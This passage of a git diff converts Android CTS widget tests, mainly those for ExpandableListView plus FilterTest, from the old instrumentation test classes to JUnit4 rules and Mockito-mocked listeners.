-        ExpandableListView expandableListView = new ExpandableListView(mContext);
         ExpandableListAdapter expandableAdapter = new MockExpandableListAdapter();
-        expandableListView.setAdapter(expandableAdapter);
+        mExpandableListView.setAdapter(expandableAdapter);
 
-        MockOnGroupExpandListener mockOnGroupExpandListener = new MockOnGroupExpandListener();
-        expandableListView.setOnGroupExpandListener(mockOnGroupExpandListener);
+        ExpandableListView.OnGroupExpandListener mockOnGroupExpandListener =
+                mock(ExpandableListView.OnGroupExpandListener.class);
+        mExpandableListView.setOnGroupExpandListener(mockOnGroupExpandListener);
 
-        assertFalse(mockOnGroupExpandListener.hasCalledOnGroupExpand());
-        assertTrue(expandableListView.expandGroup(0));
-        assertTrue(mockOnGroupExpandListener.hasCalledOnGroupExpand());
-        mockOnGroupExpandListener.reset();
-        assertFalse(expandableListView.expandGroup(0));
-        assertTrue(mockOnGroupExpandListener.hasCalledOnGroupExpand());
-        mockOnGroupExpandListener.reset();
-        assertTrue(expandableListView.expandGroup(1));
-        assertTrue(mockOnGroupExpandListener.hasCalledOnGroupExpand());
-        mockOnGroupExpandListener.reset();
-        assertFalse(expandableListView.expandGroup(1));
-        assertTrue(mockOnGroupExpandListener.hasCalledOnGroupExpand());
-        mockOnGroupExpandListener.reset();
+        verifyZeroInteractions(mockOnGroupExpandListener);
 
-        expandableListView.setAdapter((ExpandableListAdapter) null);
+        assertTrue(mExpandableListView.expandGroup(0));
+        verify(mockOnGroupExpandListener, times(1)).onGroupExpand(0);
+        assertTrue(mExpandableListView.isGroupExpanded(0));
+
+        reset(mockOnGroupExpandListener);
+        assertFalse(mExpandableListView.expandGroup(0));
+        verify(mockOnGroupExpandListener, times(1)).onGroupExpand(0);
+        assertTrue(mExpandableListView.isGroupExpanded(0));
+
+        reset(mockOnGroupExpandListener);
+        assertTrue(mExpandableListView.expandGroup(1));
+        verify(mockOnGroupExpandListener, times(1)).onGroupExpand(1);
+        assertTrue(mExpandableListView.isGroupExpanded(1));
+
+        reset(mockOnGroupExpandListener);
+        assertFalse(mExpandableListView.expandGroup(1));
+        verify(mockOnGroupExpandListener, times(1)).onGroupExpand(1);
+        assertTrue(mExpandableListView.isGroupExpanded(1));
+
+        reset(mockOnGroupExpandListener);
+        mExpandableListView.setAdapter((ExpandableListAdapter) null);
         try {
-            expandableListView.expandGroup(0);
+            mExpandableListView.expandGroup(0);
             fail("should throw NullPointerException");
         } catch (NullPointerException e) {
         }
     }
 
+    @Test
+    public void testExpandGroupSmooth() throws Throwable {
+        mActivityRule.runOnUiThread(
+                () -> mExpandableListView.setAdapter(new MockExpandableListAdapter()));
+
+        ExpandableListView.OnGroupExpandListener mockOnGroupExpandListener =
+                mock(ExpandableListView.OnGroupExpandListener.class);
+        mExpandableListView.setOnGroupExpandListener(mockOnGroupExpandListener);
+
+        verifyZeroInteractions(mockOnGroupExpandListener);
+        mActivityRule.runOnUiThread(() -> assertTrue(mExpandableListView.expandGroup(0, true)));
+        mInstrumentation.waitForIdleSync();
+        verify(mockOnGroupExpandListener, times(1)).onGroupExpand(0);
+        assertTrue(mExpandableListView.isGroupExpanded(0));
+
+        reset(mockOnGroupExpandListener);
+        mActivityRule.runOnUiThread(() -> assertFalse(mExpandableListView.expandGroup(0, true)));
+        mInstrumentation.waitForIdleSync();
+        verify(mockOnGroupExpandListener, times(1)).onGroupExpand(0);
+        assertTrue(mExpandableListView.isGroupExpanded(0));
+
+        reset(mockOnGroupExpandListener);
+        mActivityRule.runOnUiThread(() -> assertTrue(mExpandableListView.expandGroup(1, true)));
+        mInstrumentation.waitForIdleSync();
+        verify(mockOnGroupExpandListener, times(1)).onGroupExpand(1);
+        assertTrue(mExpandableListView.isGroupExpanded(1));
+
+        reset(mockOnGroupExpandListener);
+        mActivityRule.runOnUiThread(() -> assertFalse(mExpandableListView.expandGroup(1, true)));
+        mInstrumentation.waitForIdleSync();
+        verify(mockOnGroupExpandListener, times(1)).onGroupExpand(1);
+        assertTrue(mExpandableListView.isGroupExpanded(1));
+
+        reset(mockOnGroupExpandListener);
+        mActivityRule.runOnUiThread(() -> {
+            mExpandableListView.setAdapter((ExpandableListAdapter) null);
+            try {
+                mExpandableListView.expandGroup(0);
+                fail("should throw NullPointerException");
+            } catch (NullPointerException e) {
+            }
+        });
+    }
+
+    @UiThreadTest
+    @Test
     public void testCollapseGroup() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
         ExpandableListAdapter expandableAdapter = new MockExpandableListAdapter();
-        expandableListView.setAdapter(expandableAdapter);
+        mExpandableListView.setAdapter(expandableAdapter);
 
-        MockOnGroupCollapseListener mockOnGroupCollapseListener =
-            new MockOnGroupCollapseListener();
-        expandableListView.setOnGroupCollapseListener(mockOnGroupCollapseListener);
+        ExpandableListView.OnGroupCollapseListener mockOnGroupCollapseListener =
+                mock(ExpandableListView.OnGroupCollapseListener.class);
+        mExpandableListView.setOnGroupCollapseListener(mockOnGroupCollapseListener);
 
-        assertFalse(mockOnGroupCollapseListener.hasCalledOnGroupCollapse());
-        assertFalse(expandableListView.collapseGroup(0));
-        assertTrue(mockOnGroupCollapseListener.hasCalledOnGroupCollapse());
-        mockOnGroupCollapseListener.reset();
+        verifyZeroInteractions(mockOnGroupCollapseListener);
+        assertFalse(mExpandableListView.collapseGroup(0));
+        verify(mockOnGroupCollapseListener, times(1)).onGroupCollapse(0);
+        assertFalse(mExpandableListView.isGroupExpanded(0));
 
-        expandableListView.expandGroup(0);
-        assertTrue(expandableListView.collapseGroup(0));
-        assertTrue(mockOnGroupCollapseListener.hasCalledOnGroupCollapse());
-        mockOnGroupCollapseListener.reset();
-        assertFalse(expandableListView.collapseGroup(1));
-        assertTrue(mockOnGroupCollapseListener.hasCalledOnGroupCollapse());
-        mockOnGroupCollapseListener.reset();
+        reset(mockOnGroupCollapseListener);
+        mExpandableListView.expandGroup(0);
+        assertTrue(mExpandableListView.collapseGroup(0));
+        verify(mockOnGroupCollapseListener, times(1)).onGroupCollapse(0);
+        assertFalse(mExpandableListView.isGroupExpanded(0));
 
-        expandableListView.setAdapter((ExpandableListAdapter) null);
+        reset(mockOnGroupCollapseListener);
+        assertFalse(mExpandableListView.collapseGroup(1));
+        verify(mockOnGroupCollapseListener, times(1)).onGroupCollapse(1);
+        assertFalse(mExpandableListView.isGroupExpanded(1));
+
+        reset(mockOnGroupCollapseListener);
+        mExpandableListView.setAdapter((ExpandableListAdapter) null);
         try {
-            expandableListView.collapseGroup(0);
+            mExpandableListView.collapseGroup(0);
             fail("should throw NullPointerException");
         } catch (NullPointerException e) {
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testSetOnGroupClickListener() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setAdapter(new MockExpandableListAdapter());
-        MockOnGroupClickListener listener = new MockOnGroupClickListener();
+        mExpandableListView.setAdapter(new MockExpandableListAdapter());
 
-        expandableListView.setOnGroupClickListener(listener);
-        assertFalse(listener.hasCalledOnGroupClick());
-        expandableListView.performItemClick(null, 0, 0);
-        assertTrue(listener.hasCalledOnGroupClick());
+        ExpandableListView.OnGroupClickListener mockOnGroupClickListener =
+                mock(ExpandableListView.OnGroupClickListener.class);
+
+        mExpandableListView.setOnGroupClickListener(mockOnGroupClickListener);
+        verifyZeroInteractions(mockOnGroupClickListener);
+
+        mExpandableListView.performItemClick(null, 0, 0);
+        verify(mockOnGroupClickListener, times(1)).onGroupClick(eq(mExpandableListView),
+                any(), eq(0), eq(0L));
     }
 
+    @UiThreadTest
+    @Test
     public void testSetOnChildClickListener() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setAdapter(new MockExpandableListAdapter());
-        MockOnChildClickListener listener = new MockOnChildClickListener();
+        mExpandableListView.setAdapter(new MockExpandableListAdapter());
 
-        expandableListView.setOnChildClickListener(listener);
-        assertFalse(listener.hasCalledOnChildClick());
+        ExpandableListView.OnChildClickListener mockOnChildClickListener =
+                mock(ExpandableListView.OnChildClickListener.class);
+
+        mExpandableListView.setOnChildClickListener(mockOnChildClickListener);
+        verifyZeroInteractions(mockOnChildClickListener);
+
         // first let the list expand
-        expandableListView.expandGroup(0);
+        mExpandableListView.expandGroup(0);
         // click on the child list of the first group
-        expandableListView.performItemClick(null, 1, 0);
-        assertTrue(listener.hasCalledOnChildClick());
+        mExpandableListView.performItemClick(null, 1, 0);
+        verify(mockOnChildClickListener, times(1)).onChildClick(eq(mExpandableListView),
+                any(), eq(0), eq(0), eq(0L));
     }
 
+    @UiThreadTest
+    @Test
     public void testGetExpandableListPosition() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setAdapter(new MockExpandableListAdapter());
+        mExpandableListView.setAdapter(new MockExpandableListAdapter());
 
-        assertEquals(0, expandableListView.getExpandableListPosition(0));
+        assertEquals(0, mExpandableListView.getExpandableListPosition(0));
 
         // Group 0 is not expanded, position 1 is invalid
         assertEquals(ExpandableListView.PACKED_POSITION_VALUE_NULL,
-                expandableListView.getExpandableListPosition(1));
+                mExpandableListView.getExpandableListPosition(1));
 
         // Position 1 becomes valid when group 0 is expanded
-        expandableListView.expandGroup(0);
+        mExpandableListView.expandGroup(0);
         assertEquals(ExpandableListView.getPackedPositionForChild(0, 0),
-                expandableListView.getExpandableListPosition(1));
+                mExpandableListView.getExpandableListPosition(1));
 
         // Position 2 is still invalid (only one child).
         assertEquals(ExpandableListView.PACKED_POSITION_VALUE_NULL,
-                expandableListView.getExpandableListPosition(2));
+                mExpandableListView.getExpandableListPosition(2));
     }
 
+    @UiThreadTest
+    @Test
     public void testGetFlatListPosition() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setAdapter(new MockExpandableListAdapter());
+        mExpandableListView.setAdapter(new MockExpandableListAdapter());
 
         try {
-            expandableListView.getFlatListPosition(ExpandableListView.PACKED_POSITION_VALUE_NULL);
+            mExpandableListView.getFlatListPosition(ExpandableListView.PACKED_POSITION_VALUE_NULL);
         } catch (NullPointerException e) {
         }
-        assertEquals(0, expandableListView.getFlatListPosition(
+        assertEquals(0, mExpandableListView.getFlatListPosition(
                 ExpandableListView.PACKED_POSITION_TYPE_CHILD<<32));
         // 0x8000000100000000L means this is a child and group position is 1.
-        assertEquals(1, expandableListView.getFlatListPosition(0x8000000100000000L));
+        assertEquals(1, mExpandableListView.getFlatListPosition(0x8000000100000000L));
     }
 
+    @UiThreadTest
+    @Test
     public void testGetSelectedPosition() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-
         assertEquals(ExpandableListView.PACKED_POSITION_VALUE_NULL,
-                expandableListView.getSelectedPosition());
+                mExpandableListView.getSelectedPosition());
 
-        expandableListView.setAdapter(new MockExpandableListAdapter());
+        mExpandableListView.setAdapter(new MockExpandableListAdapter());
 
-        expandableListView.setSelectedGroup(0);
-        assertEquals(0, expandableListView.getSelectedPosition());
+        mExpandableListView.setSelectedGroup(0);
+        assertEquals(0, mExpandableListView.getSelectedPosition());
 
-        expandableListView.setSelectedGroup(1);
-        assertEquals(0, expandableListView.getSelectedPosition());
+        mExpandableListView.setSelectedGroup(1);
+        assertEquals(0, mExpandableListView.getSelectedPosition());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetSelectedId() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
+        assertEquals(-1, mExpandableListView.getSelectedId());
+        mExpandableListView.setAdapter(new MockExpandableListAdapter());
 
-        assertEquals(-1, expandableListView.getSelectedId());
-        expandableListView.setAdapter(new MockExpandableListAdapter());
+        mExpandableListView.setSelectedGroup(0);
+        assertEquals(0, mExpandableListView.getSelectedId());
 
-        expandableListView.setSelectedGroup(0);
-        assertEquals(0, expandableListView.getSelectedId());
-
-        expandableListView.setSelectedGroup(1);
-        assertEquals(0, expandableListView.getSelectedId());
+        mExpandableListView.setSelectedGroup(1);
+        assertEquals(0, mExpandableListView.getSelectedId());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetSelectedGroup() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setAdapter(new MockExpandableListAdapter());
+        mExpandableListView.setAdapter(new MockExpandableListAdapter());
 
-        expandableListView.setSelectedGroup(0);
-        assertEquals(0, expandableListView.getSelectedPosition());
+        mExpandableListView.setSelectedGroup(0);
+        assertEquals(0, mExpandableListView.getSelectedPosition());
 
-        expandableListView.setSelectedGroup(1);
-        assertEquals(0, expandableListView.getSelectedPosition());
+        mExpandableListView.setSelectedGroup(1);
+        assertEquals(0, mExpandableListView.getSelectedPosition());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetSelectedChild() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setAdapter(new MockExpandableListAdapter());
+        mExpandableListView.setAdapter(new MockExpandableListAdapter());
 
-        assertTrue(expandableListView.setSelectedChild(0, 0, false));
-        assertTrue(expandableListView.setSelectedChild(0, 1, true));
+        assertTrue(mExpandableListView.setSelectedChild(0, 0, false));
+        assertTrue(mExpandableListView.setSelectedChild(0, 1, true));
     }
 
+    @UiThreadTest
+    @Test
     public void testIsGroupExpanded() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setAdapter(new MockExpandableListAdapter());
+        mExpandableListView.setAdapter(new MockExpandableListAdapter());
 
-        expandableListView.expandGroup(1);
-        assertFalse(expandableListView.isGroupExpanded(0));
-        assertTrue(expandableListView.isGroupExpanded(1));
+        mExpandableListView.expandGroup(1);
+        assertFalse(mExpandableListView.isGroupExpanded(0));
+        assertTrue(mExpandableListView.isGroupExpanded(1));
     }
 
+    @Test
     public void testGetPackedPositionType() {
         assertEquals(ExpandableListView.PACKED_POSITION_TYPE_NULL,
                 ExpandableListView.getPackedPositionType(
@@ -314,6 +441,7 @@
                 ExpandableListView.getPackedPositionType(0x8000000000000000L));
     }
 
+    @Test
     public void testGetPackedPositionGroup() {
         assertEquals(-1, ExpandableListView.getPackedPositionGroup(
                 ExpandableListView.PACKED_POSITION_VALUE_NULL));
@@ -327,6 +455,7 @@
         assertEquals(0x7FFFFFFF, ExpandableListView.getPackedPositionGroup(0x7FFFFFFF00000000L));
     }
 
+    @Test
     public void testGetPackedPositionChild() {
         assertEquals(-1, ExpandableListView.getPackedPositionChild(
                 ExpandableListView.PACKED_POSITION_VALUE_NULL));
@@ -340,6 +469,7 @@
         assertEquals(0xffffffff, ExpandableListView.getPackedPositionChild(0x80000000ffffffffL));
     }
 
+    @Test
     public void testGetPackedPositionForChild() {
         assertEquals(0x8000000000000000L,
                 ExpandableListView.getPackedPositionForChild(0, 0));
@@ -348,6 +478,7 @@
                 ExpandableListView.getPackedPositionForChild(Integer.MAX_VALUE, 0xffffffff));
     }
 
+    @Test
     public void testGetPackedPositionForGroup() {
         assertEquals(0, ExpandableListView.getPackedPositionForGroup(0));
 
@@ -355,32 +486,43 @@
                 ExpandableListView.getPackedPositionForGroup(Integer.MAX_VALUE));
     }
 
+    @Test
     public void testSetChildIndicator() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setChildIndicator(null);
+        mExpandableListView.setChildIndicator(null);
     }
 
+    @Test
     public void testSetChildIndicatorBounds() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setChildIndicatorBounds(10, 10);
+        mExpandableListView.setChildIndicatorBounds(10, 20);
     }
 
+    @Test
+    public void testSetChildIndicatorBoundsRelative() {
+        mExpandableListView.setChildIndicatorBoundsRelative(10, 20);
+    }
+
+    @Test
     public void testSetGroupIndicator() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
         Drawable drawable = new BitmapDrawable();
-        expandableListView.setGroupIndicator(drawable);
+        mExpandableListView.setGroupIndicator(drawable);
     }
 
+    @Test
     public void testSetIndicatorBounds() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        expandableListView.setIndicatorBounds(10,10);
+        mExpandableListView.setIndicatorBounds(10, 30);
     }
 
+    @Test
+    public void testSetIndicatorBoundsRelative() {
+        mExpandableListView.setIndicatorBoundsRelative(10, 30);
+    }
+
+    @Test
     public void testOnSaveInstanceState() {
-        ExpandableListView src = new ExpandableListView(mContext);
+        ExpandableListView src = new ExpandableListView(mActivity);
         Parcelable p1 = src.onSaveInstanceState();
 
-        ExpandableListView dest = new ExpandableListView(mContext);
+        ExpandableListView dest = new ExpandableListView(mActivity);
         dest.onRestoreInstanceState(p1);
         Parcelable p2 = dest.onSaveInstanceState();
 
@@ -388,12 +530,19 @@
         assertNotNull(p2);
     }
 
+    @Test
     public void testDispatchDraw() {
-        MockExpandableListView expandableListView = new MockExpandableListView(mContext);
+        MockExpandableListView expandableListView = new MockExpandableListView(mActivity);
         expandableListView.dispatchDraw(new Canvas());
     }
 
     private class MockExpandableListAdapter implements ExpandableListAdapter {
+        private final LayoutInflater mLayoutInflater;
+
+        public MockExpandableListAdapter() {
+            mLayoutInflater = LayoutInflater.from(mActivity);
+        }
+
         public void registerDataSetObserver(DataSetObserver observer) {
         }
 
@@ -443,12 +592,24 @@
 
         public View getGroupView(int groupPosition, boolean isExpanded,
                 View convertView, ViewGroup parent) {
-            return null;
+            TextView result = (TextView) convertView;
+            if (result == null) {
+                result = (TextView) mLayoutInflater.inflate(
+                        R.layout.expandablelistview_group, parent, false);
+            }
+            result.setText("Group " + groupPosition);
+            return result;
         }
 
         public View getChildView(int groupPosition, int childPosition,
                 boolean isLastChild, View convertView, ViewGroup parent) {
-            return null;
+            TextView result = (TextView) convertView;
+            if (result == null) {
+                result = (TextView) mLayoutInflater.inflate(
+                        R.layout.expandablelistview_child, parent, false);
+            }
+            result.setText("Child " + childPosition);
+            return result;
         }
 
         public boolean isChildSelectable(int groupPosition, int childPosition) {
@@ -478,72 +639,6 @@
         }
     }
 
-    private class MockOnGroupExpandListener implements ExpandableListView.OnGroupExpandListener {
-        private boolean mCalledOnGroupExpand = false;
-
-        public void onGroupExpand(int groupPosition) {
-            mCalledOnGroupExpand = true;
-        }
-
-        public boolean hasCalledOnGroupExpand() {
-            return mCalledOnGroupExpand;
-        }
-
-        public void reset() {
-            mCalledOnGroupExpand = false;
-        }
-    }
-
-    private class MockOnGroupCollapseListener implements
-            ExpandableListView.OnGroupCollapseListener {
-        private boolean mCalledOnGroupCollapse = false;
-
-        public void onGroupCollapse(int groupPosition) {
-            mCalledOnGroupCollapse = true;
-        }
-
-        public boolean hasCalledOnGroupCollapse() {
-            return mCalledOnGroupCollapse;
-        }
-
-        public void reset() {
-            mCalledOnGroupCollapse = false;
-        }
-    }
-
-    private class MockOnItemClickListener implements OnItemClickListener {
-        public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
-        }
-    }
-
-    private class MockOnGroupClickListener implements OnGroupClickListener {
-        private boolean mCalledOnGroupClick = false;
-
-        public boolean onGroupClick(ExpandableListView parent, View v,
-                int groupPosition, long id) {
-            mCalledOnGroupClick = true;
-            return true;
-        }
-
-        public boolean hasCalledOnGroupClick() {
-            return mCalledOnGroupClick;
-        }
-    }
-
-    private class MockOnChildClickListener implements OnChildClickListener {
-        private boolean mCalledOnChildClick = false;
-
-        public boolean onChildClick(ExpandableListView parent, View v,
-                int groupPosition, int childPosition, long id) {
-            mCalledOnChildClick = true;
-            return true;
-        }
-
-        public boolean hasCalledOnChildClick() {
-            return mCalledOnChildClick;
-        }
-    }
-
     private class MockExpandableListView extends ExpandableListView {
         public MockExpandableListView(Context context) {
             super(context);
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java
index 7f4715f..77cf1b6 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListViewWithHeadersTest.java
@@ -16,77 +16,90 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.LargeTest;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.widget.ExpandableListView;
 import android.widget.cts.util.ListUtil;
 
-public class ExpandableListViewWithHeadersTest extends
-        ActivityInstrumentationTestCase2<ExpandableListWithHeaders> {
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ExpandableListViewWithHeadersTest {
+    private Instrumentation mInstrumentation;
+    private ExpandableListWithHeaders mActivity;
     private ExpandableListView mExpandableListView;
     private ListUtil mListUtil;
 
-    public ExpandableListViewWithHeadersTest() {
-        super(ExpandableListWithHeaders.class);
+    @Rule
+    public ActivityTestRule<ExpandableListWithHeaders> mActivityRule =
+            new ActivityTestRule<>(ExpandableListWithHeaders.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+        mExpandableListView = mActivity.getExpandableListView();
+        mListUtil = new ListUtil(mExpandableListView, mInstrumentation);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        final ExpandableListWithHeaders activity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return activity.hasWindowFocus();
-            }
-        }.run();
-        mExpandableListView = activity.getExpandableListView();
-        mListUtil = new ListUtil(mExpandableListView, getInstrumentation());
-    }
-
-    @MediumTest
+    @Test
     public void testPreconditions() {
         assertNotNull(mExpandableListView);
     }
 
-    @MediumTest
+    @Test
     public void testExpandOnFirstPosition() {
         // Should be a header, and hence the first group should NOT have expanded
         mListUtil.arrowScrollToSelectedPosition(0);
-        sendKeys(KeyEvent.KEYCODE_DPAD_CENTER);
-        getInstrumentation().waitForIdleSync();
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mExpandableListView,
+                (KeyEvent.KEYCODE_DPAD_CENTER));
+        mInstrumentation.waitForIdleSync();
         assertFalse(mExpandableListView.isGroupExpanded(0));
     }
 
     @LargeTest
+    @Test
     public void testExpandOnFirstGroup() {
-        mListUtil.arrowScrollToSelectedPosition(getActivity().getNumOfHeadersAndFooters());
-        sendKeys(KeyEvent.KEYCODE_DPAD_CENTER);
-        getInstrumentation().waitForIdleSync();
+        mListUtil.arrowScrollToSelectedPosition(mActivity.getNumOfHeadersAndFooters());
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mExpandableListView,
+                (KeyEvent.KEYCODE_DPAD_CENTER));
+        mInstrumentation.waitForIdleSync();
         assertTrue(mExpandableListView.isGroupExpanded(0));
     }
 
-    @MediumTest
+    @Test
     public void testContextMenus() {
-        ExpandableListTester tester = new ExpandableListTester(mExpandableListView, this);
+        ExpandableListTester tester = new ExpandableListTester(mExpandableListView);
         tester.testContextMenus();
     }
 
-    @MediumTest
+    @Test
     public void testConvertionBetweenFlatAndPacked() {
-        ExpandableListTester tester = new ExpandableListTester(mExpandableListView, this);
-        tester.testConvertionBetweenFlatAndPackedOnGroups();
-        tester.testConvertionBetweenFlatAndPackedOnChildren();
+        ExpandableListTester tester = new ExpandableListTester(mExpandableListView);
+        tester.testConversionBetweenFlatAndPackedOnGroups();
+        tester.testConversionBetweenFlatAndPackedOnChildren();
     }
 
-    @MediumTest
+    @Test
     public void testSelectedPosition() {
-        ExpandableListTester tester = new ExpandableListTester(mExpandableListView, this);
+        ExpandableListTester tester = new ExpandableListTester(mExpandableListView);
         tester.testSelectedPositionOnGroups();
         tester.testSelectedPositionOnChildren();
     }
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java
index bf5a23f..693ff7e 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListView_ExpandableListContextMenuInfoTest.java
@@ -17,18 +17,29 @@
 
 package android.widget.cts;
 
-import android.test.AndroidTestCase;
-import android.view.View;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.ExpandableListView;
-import android.widget.ListView;
 import android.widget.ExpandableListView.ExpandableListContextMenuInfo;
+import android.widget.ListView;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link ExpandableListContextMenuInfo}.
  */
-public class ExpandableListView_ExpandableListContextMenuInfoTest extends AndroidTestCase {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ExpandableListView_ExpandableListContextMenuInfoTest {
+    @Test
     public void testConstructor() {
-        ListView listview = new ListView(getContext());
+        ListView listview = new ListView(InstrumentationRegistry.getTargetContext());
         ExpandableListContextMenuInfo expandableListContextMenuInfo =
             new ExpandableListView.ExpandableListContextMenuInfo(listview, 100L, 80L);
         assertNotNull(expandableListContextMenuInfo);
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListWithHeaders.java b/tests/tests/widget/src/android/widget/cts/ExpandableListWithHeaders.java
index 259d443..17e8a59 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListWithHeaders.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListWithHeaders.java
@@ -22,14 +22,14 @@
 import android.widget.cts.util.ExpandableListScenario;
 
 public class ExpandableListWithHeaders extends ExpandableListScenario {
-    private static final int[] sNumChildren = {1, 4, 3, 2, 6};
-    private static final int sNumOfHeadersAndFooters = 12;
+    private static final int[] CHILD_COUNT = {1, 4, 3, 2, 6};
+    private static final int HEADER_FOOTER_COUNT = 12;
 
     @Override
     protected void init(ExpandableParams params) {
         params.setStackFromBottom(false)
                 .setStartingSelectionPosition(-1)
-                .setNumChildren(sNumChildren)
+                .setNumChildren(CHILD_COUNT)
                 .setItemScreenSizeFactor(0.14)
                 .setConnectAdapter(false);
     }
@@ -41,13 +41,13 @@
         final ExpandableListView expandableListView = getExpandableListView();
         expandableListView.setItemsCanFocus(true);
 
-        for (int i = 0; i < sNumOfHeadersAndFooters; i++) {
+        for (int i = 0; i < HEADER_FOOTER_COUNT; i++) {
             Button header = new Button(this);
             header.setText("Header View");
             expandableListView.addHeaderView(header);
         }
 
-        for (int i = 0; i < sNumOfHeadersAndFooters; i++) {
+        for (int i = 0; i < HEADER_FOOTER_COUNT; i++) {
             Button footer = new Button(this);
             footer.setText("Footer View");
             expandableListView.addFooterView(footer);
@@ -61,6 +61,6 @@
      * @return The number of headers (and the same number of footers)
      */
     public int getNumOfHeadersAndFooters() {
-        return sNumOfHeadersAndFooters;
+        return HEADER_FOOTER_COUNT;
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/FilterTest.java b/tests/tests/widget/src/android/widget/cts/FilterTest.java
index 7a1d111..f8f577e 100644
--- a/tests/tests/widget/src/android/widget/cts/FilterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/FilterTest.java
@@ -16,107 +16,102 @@
 
 package android.widget.cts;
 
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
 
-import android.cts.util.PollingCheck;
-import android.cts.util.ReadElf;
-import android.cts.util.TestThread;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
+import android.app.Instrumentation;
 import android.os.Looper;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.Filter;
-import android.widget.Filter.FilterListener;
 
-public class FilterTest extends ActivityInstrumentationTestCase2<CtsActivity> {
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.TestThread;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FilterTest {
     private static final long TIME_OUT = 10000;
     private static final long RUN_TIME = 1000;
     private static final String TEST_CONSTRAINT = "filter test";
+
+    private Instrumentation mInstrumentation;
     private MockFilter mMockFilter;
 
-    public FilterTest() {
-        super("android.widget.cts", CtsActivity.class);
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule =
+            new ActivityTestRule<>(CtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
     }
 
+    @Test
     public void testConstructor() throws Throwable {
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-                new MockFilter();
-            }
-        });
-        t.runTest(RUN_TIME);
-    }
-
-    public void testConvertResultToString() throws Throwable {
-        final String testStr = "Test";
-        new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-                MockFilter filter = new MockFilter();
-                assertEquals("", filter.convertResultToString(null));
-                assertEquals(testStr, filter.convertResultToString(testStr));
-            }
+        new TestThread(() -> {
+            Looper.prepare();
+            new MockFilter();
         }).runTest(RUN_TIME);
     }
 
-    public void testFilter1() {
-        getActivity().runOnUiThread(new Runnable() {
